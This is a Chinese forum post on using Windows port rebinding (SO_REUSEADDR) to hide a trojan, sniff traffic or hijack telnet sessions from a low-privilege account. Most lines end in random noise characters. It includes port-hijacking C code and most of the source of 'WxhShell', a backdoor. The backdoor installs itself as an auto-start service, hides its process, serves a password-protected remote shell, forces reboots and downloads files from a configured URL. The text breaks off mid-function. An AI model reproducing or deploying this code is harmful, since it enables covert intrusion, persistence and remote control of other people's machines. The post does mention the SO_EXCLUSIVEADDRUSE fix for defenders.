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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1^AQLOiRE1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o JVdFE  
zq5N@d F  
  saddr.sin_family = AF_INET; 6oWFjeZ0  
&#C|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cm!vuoB~~  
iJZvVs',  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :"Vmy.xq  
di;~$rI!?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B|syb!g  
%M_F/O  
  这意味着什么?意味着可以进行如下的攻击: kJ* N`=  
An]Vx<PD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -Nr*na^H9#  
h1'm[Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6ZjUC1  
MHE/#G  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <&+0  
(;Bh7Ft  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6=%\@  
S!-t{Q+j^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  v?d`fd  
9QD+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4[Ko|  
,*[N_[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^K<!`B  
fG?a"6~  
  #include xJ^B.;>  
  #include "Z';nmv'N  
  #include f. h3:_r  
  #include    $U&p&pgH=W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >z3l@  
  int main() nr>Yj?la  
  { 0#5&*  
  WORD wVersionRequested; a U<+ `  
  DWORD ret; h5vetci/  
  WSADATA wsaData; 6R2F,b(_  
  BOOL val; MO1H?U hx  
  SOCKADDR_IN saddr; ,-n_( U  
  SOCKADDR_IN scaddr; =q[+ e(,3  
  int err; uC]c`Ue  
  SOCKET s; aYtW!+#  
  SOCKET sc; K=4|GZ~p}`  
  int caddsize;  >YdLB@  
  HANDLE mt; [pt U}  
  DWORD tid;   2L.6!THG  
  wVersionRequested = MAKEWORD( 2, 2 ); D7IhNWrgj  
  err = WSAStartup( wVersionRequested, &wsaData ); B_@p@6z  
  if ( err != 0 ) { \^cXmyQ<%  
  printf("error!WSAStartup failed!\n"); >N0L  
  return -1; cI6Td*vM  
  } ?:5/4YC  
  saddr.sin_family = AF_INET; tH vP0RxM  
   )*}?EI4.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @]]\r.DG  
V2yX;u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G[d]t$f=  
  saddr.sin_port = htons(23); T7Y+ WfYh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zo ]-,u  
  { V\c`O  
  printf("error!socket failed!\n"); IUG}Q7w5  
  return -1; 1Si$Q  
  } -LFk7a  
  val = TRUE; Yi`DRkp]3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z2A,*|I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9+Wf*:*EW  
  { Ln4Dq[M  
  printf("error!setsockopt failed!\n"); kK&AK2  
  return -1; 1#zD7b~  
  } i\>?b)a>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^= kr`5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '~{kR=+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V_4=0(  
MHCwjo"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) CQ{pv3)  
  { YvUV9qps~  
  ret=GetLastError(); -|:mRAe  
  printf("error!bind failed!\n"); Q}^qu6  
  return -1; I 'ha=PeVn  
  } nbv}Q-C  
  listen(s,2); z wn#E  
  while(1) :@Ml-ZE  
  { (F#2z\$;  
  caddsize = sizeof(scaddr); D4{<~/oBv  
  //接受连接请求 LmKY$~5P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4`sW_ ks  
  if(sc!=INVALID_SOCKET) kb\\F:w(W  
  { Eb&=$4c=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2%-/}'G*  
  if(mt==NULL) 0,cU^HMA  
  { B}I9+/|{  
  printf("Thread Creat Failed!\n"); [t?:CgI)E  
  break; 9 H>J S  
  } Ih5CtcE1'd  
  } /i"1e:cK  
  CloseHandle(mt); OP``+z>  
  } Pp;OkI``[  
  closesocket(s); MdnapxuS  
  WSACleanup(); FW4#/H  
  return 0; 0c&DSL}6  
  }   Gl4f:`  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~kI$8oAry  
  { K;R!>p}t  
  SOCKET ss = (SOCKET)lpParam; Xk:_aJ  
  SOCKET sc; a!&<jM  
  unsigned char buf[4096]; DU@SXb  
  SOCKADDR_IN saddr; ~qE:Nz0@  
  long num; !#4b#l(e6  
  DWORD val; 1#XZVp;M  
  DWORD ret; .sZ"|j9m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MZ^(BOe_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZQsVSz( 1  
  saddr.sin_family = AF_INET; Bl+PJ 0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m*14n_m'  
  saddr.sin_port = htons(23); o#-^Lg&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  fTGVG  
  { ]_m(q`_  
  printf("error!socket failed!\n"); 4SIS #m  
  return -1; lgefTT GX)  
  } W#L/|K!S  
  val = 100; T9YrB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QOv@rP/  
  { w*7wSP  
  ret = GetLastError(); Dd:48sN:Jq  
  return -1; b}ODc]3  
  } (I#3![q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I7;|`jN5K  
  { fHgvh&FU  
  ret = GetLastError(); CeUC[cUQU  
  return -1; |Syulus  
  } N1JM[<PP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4=l$wg~;  
  { 76cT}l&.h8  
  printf("error!socket connect failed!\n"); gAK"ShOhG=  
  closesocket(sc); 'On%p|s)H  
  closesocket(ss); gq.l=xS  
  return -1; *$Z?Owl7  
  } 15kkf~Z<t  
  while(1) ,a ":/ /[  
  { @h%Nn)QBq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rotu#?B  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "8\2w]"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ime"}*9  
  num = recv(ss,buf,4096,0); PebyH"M(  
  if(num>0) ~Vf A  
  send(sc,buf,num,0); "|/Q5 *L  
  else if(num==0) rouaT  
  break; $nNCBC=  
  num = recv(sc,buf,4096,0); T:*l+<?  
  if(num>0) j;EH[3  
  send(ss,buf,num,0); ZtX CPA!  
  else if(num==0) KAnq8B!h  
  break; (JT 273  
  } Pk`3sfz  
  closesocket(ss); 7DWGYvv[  
  closesocket(sc); 8Q73h/3  
  return 0 ; kK.[v'[>&  
  } ZDmY${J  
wAc;{60s]  
bg^ <e}{<H  
========================================================== z6 .^a-sU5  
[G"Va_A8  
下边附上一个代码,,WXhSHELL 5Rae?* XH  
yVyh\u\  
========================================================== pL ,l  
yKC1h`2  
#include "stdafx.h" h*\u0yD)  
1YtK+,mz  
#include <stdio.h> _>4)q=  
#include <string.h> ;]W@W1)$  
#include <windows.h> rXq{WS`  
#include <winsock2.h> U.N?cKv  
#include <winsvc.h> *rA]q' jM  
#include <urlmon.h> /Edq[5Ah  
kG`&Z9P  
#pragma comment (lib, "Ws2_32.lib") XmN8S_M>v  
#pragma comment (lib, "urlmon.lib") ;KT5qiqYH  
wv ^n#  
#define MAX_USER   100 // 最大客户端连接数 ~,.;2K73  
#define BUF_SOCK   200 // sock buffer #g<6ISuf  
#define KEY_BUFF   255 // 输入 buffer k&17 (Tv$  
Sv!JA#Ag  
#define REBOOT     0   // 重启 ==EB\>g|  
#define SHUTDOWN   1   // 关机 4u#TKr.  
H^M>(kT#&  
#define DEF_PORT   5000 // 监听端口 @I#uv|=N  
P+DIo7VTX  
#define REG_LEN     16   // 注册表键长度 dj{~!}  
#define SVC_LEN     80   // NT服务名长度 bbT$$b-  
D THWL  
// 从dll定义API P=Su)c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w YQEm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R$;TX^r'o&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )T^xDx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i:1 @ vo  
?@;#|^k9  
// wxhshell配置信息 >~_)2_j  
struct WSCFG { eg24.W9c  
  int ws_port;         // 监听端口 N! I$Qtr,  
  char ws_passstr[REG_LEN]; // 口令 R[OXYHu  
  int ws_autoins;       // 安装标记, 1=yes 0=no L2OR<3*|Av  
  char ws_regname[REG_LEN]; // 注册表键名 J M`[|"R%  
  char ws_svcname[REG_LEN]; // 服务名 Rx?ze(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I moxg+u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *q+X ?3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "<LWz&e^^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Zpz3 ?VM(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  s;-AZr)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lX"6m}~D  
P~%+KxwZQ  
}; >T-4!ZvS\j  
=nqHVRA  
// default Wxhshell configuration dg_w$#  
struct WSCFG wscfg={DEF_PORT, 9*r^1PRc  
    "xuhuanlingzhe", cZ#%tT#  
    1, F6aC'<#/  
    "Wxhshell", KtGbpcS$f  
    "Wxhshell", !;0K=~(Y^  
            "WxhShell Service", rR 86D  
    "Wrsky Windows CmdShell Service", 1xInU_SPf  
    "Please Input Your Password: ", #/{3qPN?@  
  1, BvUiH<-D  
  "http://www.wrsky.com/wxhshell.exe", h`iOs>  
  "Wxhshell.exe" <. *bJ  
    }; u08QE,  
h J0U-m  
// 消息定义模块 $tej~xZK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %r8;i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g/VV2^,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <y?=;54a  
char *msg_ws_ext="\n\rExit."; d</F6aM\  
char *msg_ws_end="\n\rQuit."; nv\K!wZI=b  
char *msg_ws_boot="\n\rReboot..."; dT[JVl+3=  
char *msg_ws_poff="\n\rShutdown..."; pTXF^:8  
char *msg_ws_down="\n\rSave to "; A0:rn\$l3  
uqLP$At  
char *msg_ws_err="\n\rErr!"; dCe LW  
char *msg_ws_ok="\n\rOK!"; Nd&UWk^  
XK})?LTD  
char ExeFile[MAX_PATH]; 8:> V'j  
int nUser = 0; X-#&]^d  
HANDLE handles[MAX_USER]; V1~@   
int OsIsNt; DTSf[zP/  
<'N:K@Cs  
SERVICE_STATUS       serviceStatus; </u=<^ire  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *QV"o{V  
p4 =/rkq  
// 函数声明 h9/fD5  
int Install(void); "%p7ft  
int Uninstall(void); T^(> 8/O  
int DownloadFile(char *sURL, SOCKET wsh); e[s}tjx  
int Boot(int flag); P-3f51Q  
void HideProc(void); =1@LMIi5x  
int GetOsVer(void); LD1&8kJ*l  
int Wxhshell(SOCKET wsl); Pc2!OQC'""  
void TalkWithClient(void *cs); UtP|<]{  
int CmdShell(SOCKET sock); ^3 9lUKL  
int StartFromService(void); : ^("L,AF  
int StartWxhshell(LPSTR lpCmdLine); M:b#">M  
=4l @A>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *0to,$ n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dDIR~ !T  
:mW< E  
// 数据结构和表定义 1m#.f=u{R  
SERVICE_TABLE_ENTRY DispatchTable[] = P%gA` j  
{ EO~L.E%W  
{wscfg.ws_svcname, NTServiceMain}, kwL|gO1L  
{NULL, NULL} WTJ{M$  
}; p4*L}Q  
*tgu@9b  
// 自我安装 x~vNUyEN)  
int Install(void) +`_0tM1  
{ oQObr  
  char svExeFile[MAX_PATH]; O9ps?{g  
  HKEY key; 40pz<-B  
  strcpy(svExeFile,ExeFile); D>-r `  
"RN] @p#m  
// 如果是win9x系统,修改注册表设为自启动 8-Y*b89  
if(!OsIsNt) { L!lmy&1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 28`s+sH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3%5a&b  
  RegCloseKey(key); p@nj6N.--  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {:|3V 7X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %1.F;-GdsW  
  RegCloseKey(key); YO$D-  
  return 0; f&mi nBU  
    } BdF/(Pg  
  } yCvtglAJ4  
} S#?2E8  
else { XUA@f*  
7HBf^N.  
// 如果是NT以上系统,安装为系统服务 zh*D2/ r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FK593z  
if (schSCManager!=0) 5a$EXV  
{ [`t ;or  
  SC_HANDLE schService = CreateService C5Q!_x(  
  ( )iQ^HZ  
  schSCManager, 6]Is"3ca  
  wscfg.ws_svcname, ^n(FO,8c  
  wscfg.ws_svcdisp, D2kmBZ3  
  SERVICE_ALL_ACCESS, #$x,PeG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S`U8\KTi  
  SERVICE_AUTO_START, o3/o2[s  
  SERVICE_ERROR_NORMAL,  d]`6N  
  svExeFile, .JXEw%I@  
  NULL, hHU=lnO  
  NULL, HFZ'xp|3dn  
  NULL, 9`*Eeb>  
  NULL, H8FvI"J  
  NULL w9G|)UDib  
  ); k#Sr;"  
  if (schService!=0) &h I!mo  
  { IBo  
  CloseServiceHandle(schService); } &B6  
  CloseServiceHandle(schSCManager); ypx~WXFK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9<.O=-1~  
  strcat(svExeFile,wscfg.ws_svcname); [ gMn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e;"J,7@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  E|"SM A,  
  RegCloseKey(key); l|?tqCT ^h  
  return 0; Nw1*);b[y  
    } 1+uZF  
  } +w^,!gA&  
  CloseServiceHandle(schSCManager); R ~kO5jpW  
} ?$ e]K/*  
} -smN}*3[  
0Eb4wupo  
return 1; EXCE^Vw  
} 3ai[ r  
`\62 iUN  
// 自我卸载 qBX_v5pvVA  
int Uninstall(void) f7~dn#<@  
{ 'E3T fM  
  HKEY key; 1vj@ qw3  
4d5c ]%  
if(!OsIsNt) { Sk cK>i.[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;v@G  
  RegDeleteValue(key,wscfg.ws_regname); 6r<a  
  RegCloseKey(key); qqf`z,u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zek@xr;]  
  RegDeleteValue(key,wscfg.ws_regname); WJh TU@'  
  RegCloseKey(key); mG&A_/e!9  
  return 0; S3ooG14Ls  
  } eV|N@  
} "dX~J3$  
} 4@@Sh`E:  
else { Vb`Vp(>AU  
J 7R(X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J&>@ >47  
if (schSCManager!=0) 6+IhI?lI=  
{ _w4G|j$C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DJ,LQj  
  if (schService!=0) 0]|`*f&p;  
  { v"o"W[  
  if(DeleteService(schService)!=0) { _M%S  
  CloseServiceHandle(schService); QPDh!A3T  
  CloseServiceHandle(schSCManager); "kyCY9) %  
  return 0; wS*r<zj  
  } #XDgvX >  
  CloseServiceHandle(schService); =#V^t$  
  } Z)`)9]*  
  CloseServiceHandle(schSCManager); Kq3c Kp4  
} \dtiv&x  
} -<s Gu9  
^el+ej/=  
return 1; \N*([{X  
} 9E2iZt]  
RVatGa0  
// 从指定url下载文件 3 }fOb  
int DownloadFile(char *sURL, SOCKET wsh) 3Tl<ST\  
{ \9VF)Y.ke  
  HRESULT hr; Q6qW?*Y  
char seps[]= "/"; (4+P7Z,Nc  
char *token; E{|B&6$[}  
char *file; o%t4WQ|bj  
char myURL[MAX_PATH]; 5CFNBb%Xy  
char myFILE[MAX_PATH]; Qu61$!  
nnv|GnQST  
strcpy(myURL,sURL); q*3OWr  
  token=strtok(myURL,seps); ?uq`|1`  
  while(token!=NULL) ApCU|*r)  
  { WP L@v+  
    file=token; xak)YOLRV  
  token=strtok(NULL,seps); }L_YpG7  
  } Lb/GL\J)  
p@Y=6Bw  
GetCurrentDirectory(MAX_PATH,myFILE); 'E_~ |C  
strcat(myFILE, "\\"); ':vZ&  
strcat(myFILE, file); QhZg{v[d  
  send(wsh,myFILE,strlen(myFILE),0); 1#A$&'&\J;  
send(wsh,"...",3,0); 53])@Mmus  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7=CkZ&(?  
  if(hr==S_OK) pmNy=ZXx  
return 0; 0kkDlWkzo  
else =8\.fp  
return 1; ?R)]D:`  
P1-eDHYw  
} bC<W7qf]}  
Y$=jAN  
// 系统电源模块  ? }M81  
int Boot(int flag) j]BRfA  
{ 8>v_th  
  HANDLE hToken; @sXv5kZ:  
  TOKEN_PRIVILEGES tkp; Al-`}g+^  
~#pATPW@(  
  if(OsIsNt) { 3v8LzS3@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h:?^0b!@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U] LDi8  
    tkp.PrivilegeCount = 1; 5'} V`?S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1F@j?)(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pE5v~~9Ikv  
if(flag==REBOOT) { %2}fW\% '  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X;I9\Cp]!  
  return 0; .{V"Gn9!  
} $'J3 /C7  
else { k;l3^kTy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %j7b0pb  
  return 0; ]q]xU,  
} n=.P46|  
  } G!q[NRu  
  else { G *CPj^O  
if(flag==REBOOT) { W7S~~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FnO@\{M"A  
  return 0; C-&ymJC|  
} f<YYo  
else { Q\$3l'W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <`}P  
  return 0; Pxlc RF  
} %O"8|ZG9{  
} mO>L]<O  
Pyo|Sgk  
return 1; dHnCSOM<  
} I!sT=w8V  
&$MC!iMh  
// win9x进程隐藏模块 n>Ff tVZNJ  
void HideProc(void) C96/   
{ R_!.vGhkN  
$YSXE :  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jeC=s~  
  if ( hKernel != NULL ) c[h~=0UtJ  
  { 5'zXCHt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l(t&<O(m9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AC,RS 7  
    FreeLibrary(hKernel); 5n@YNaoIb  
  } ]\(8d[ 4  
s4|\cY`b-  
return; 7r:h_r-  
} '~[8>Q>  
5J5?cs-!  
// 获取操作系统版本 w#"\*SKK  
int GetOsVer(void) XNz+a|cF  
{ "aJHCi~l  
  OSVERSIONINFO winfo; UL+Txc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6D;N.wDZ  
  GetVersionEx(&winfo); SVCh!/qe\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MGg(d  
  return 1; ]fyfL|(;  
  else V1aP_G-:  
  return 0; hOj{y2sc  
} G/_IY;  
z(|^fi(  
// 客户端句柄模块 5ya9VZ5#  
int Wxhshell(SOCKET wsl) fkV@3sj  
{ gaF6 j!p  
  SOCKET wsh; o<G 9t6~  
  struct sockaddr_in client; }9fa]D-a?  
  DWORD myID; jI-a+LnEm  
?.~1%l!  
  while(nUser<MAX_USER) &\h7E   
{ 98[uRywI  
  int nSize=sizeof(client); B~Sj#(WEa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .~]|gg~  
  if(wsh==INVALID_SOCKET) return 1; ]eL# bJ  
RTOA'|[0M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fLDrit4_Q  
if(handles[nUser]==0) !_Lmrs  
  closesocket(wsh); Sc<dxY@w7-  
else }icCp)b>v  
  nUser++; '/d51  
  } *;<fh,wOk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KWJVc `  
WTSh#L  
  return 0; yaUtDC.|  
} \v2!5z8|  
F y+NJSG  
// 关闭 socket z0 "DbZ;d  
void CloseIt(SOCKET wsh) _7Y h[I4  
{ kCBtK?g  
closesocket(wsh); #AD_EN9  
nUser--; VvhfD2*T  
ExitThread(0); 1Bh"'9-!JT  
} ho\1[xS  
fM= o?w6v  
// 客户端请求句柄 M xE]EJZ  
void TalkWithClient(void *cs) D!j/a!MaKk  
{ xl}rdnf}  
S=@+qcI  
  SOCKET wsh=(SOCKET)cs; cx\"r  
  char pwd[SVC_LEN]; .;? Bni  
  char cmd[KEY_BUFF]; {U5sRM|I  
char chr[1]; (v]%kXy/G  
int i,j; 3?93Pj3oPt  
3[m~-8  
  while (nUser < MAX_USER) { @r"\bBi  
mqSVd^  
if(wscfg.ws_passstr) { }lZEdF9GhG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %|-N{>wKy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |XyX%5p*  
  //ZeroMemory(pwd,KEY_BUFF); QPlU+5Cx  
      i=0; i<QDV W9  
  while(i<SVC_LEN) { "[) G{VzT  
W}(A8g#6  
  // 设置超时 jPh<VVQ$@  
  fd_set FdRead; i ;FKnK  
  struct timeval TimeOut; THrLX;I  
  FD_ZERO(&FdRead); ,KY;NbL-Jp  
  FD_SET(wsh,&FdRead); k8gH#ENNK  
  TimeOut.tv_sec=8; &#p1ogf:  
  TimeOut.tv_usec=0; At7!Pas#@g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); omG2p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &Vlno*  
eg[EFI.h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (:o F\  
  pwd=chr[0]; >AJ/!{jD*  
  if(chr[0]==0xd || chr[0]==0xa) { N?\X 2J1  
  pwd=0; (Y1*Bs[l  
  break; <A3%1 82  
  } ni;_Un~  
  i++; ?ANW I8'_j  
    } sY ]J!"  
2yN!yIPR  
  // 如果是非法用户,关闭 socket "K{_?M `;e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x9lA';})  
} AL]gK)R  
.$U,bE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QV|6"4\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JPI%{@Qc^  
DV5hTw0  
while(1) { Q'<AV1<  
.S` q2C\  
  ZeroMemory(cmd,KEY_BUFF); :V/".K-:J  
6H#: rM  
      // 自动支持客户端 telnet标准   wE .H:q4&  
  j=0; Ev fvU:z  
  while(j<KEY_BUFF) { HE}0_x.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mxlh\'b  
  cmd[j]=chr[0]; Xaz "!  
  if(chr[0]==0xa || chr[0]==0xd) { [4Q;(67  
  cmd[j]=0; [ &TF]az  
  break; |<W$rzM  
  } )*KMU?  
  j++; j0l,1=^>l  
    } 1?'4%>kp  
(UkP AE  
  // 下载文件 pqG> |#RG  
  if(strstr(cmd,"http://")) { x@#>l8k?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?2@^O=I  
  if(DownloadFile(cmd,wsh)) jWdviS9&g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;*%rFt9FK  
  else %\'=Y/yP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;c 7I "?@z  
  } prJd'  
  else { ne#dEUD  
'|C%X7  
    switch(cmd[0]) { J( 1Tl  
  (-C)A-Uo&  
  // 帮助  A 3 V  
  case '?': { C:E f6ZW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u]ms~rO  
    break; dL42)HP5  
  } BMp'.9Qgm  
  // 安装 yfl?\X{  
  case 'i': { #Xg;E3BM  
    if(Install()) ^ :VH?I=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C HnclT  
    else K V5 '-Sv1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '54\!yQ<{  
    break; OVLVsNg  
    } TQR5V\{&%  
  // 卸载 CJ<nUIy'z  
  case 'r': { TXImmkC  
    if(Uninstall()) k*1Lr\1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \M`qaFan5^  
    else xe@e#9N$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @eYpARF  
    break; lZk  z\  
    } CE"/&I  
  // 显示 wxhshell 所在路径 .s{ "NqRA  
  case 'p': { x`6MAZ  
    char svExeFile[MAX_PATH]; s&7 3g0$$  
    strcpy(svExeFile,"\n\r"); BlJiHz!  
      strcat(svExeFile,ExeFile); p4T$(]7  
        send(wsh,svExeFile,strlen(svExeFile),0); b0~r/M;J  
    break; n/9afIN  
    } (T1< (YZ  
  // 重启 &2ED<%hH`  
  case 'b': { J v}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {!Qu(%  
    if(Boot(REBOOT)) ^4sfVpD2!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fD!c t;UK  
    else { G)vNMl  
    closesocket(wsh); c7mKE`  
    ExitThread(0); lY,^  
    } eo+<@83  
    break; f-~Y  
    } ~[CFs'`(2  
  // 关机 Zc7;&cz  
  case 'd': { 7|}4UXr7y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P@N+jS`Vf  
    if(Boot(SHUTDOWN))  /  
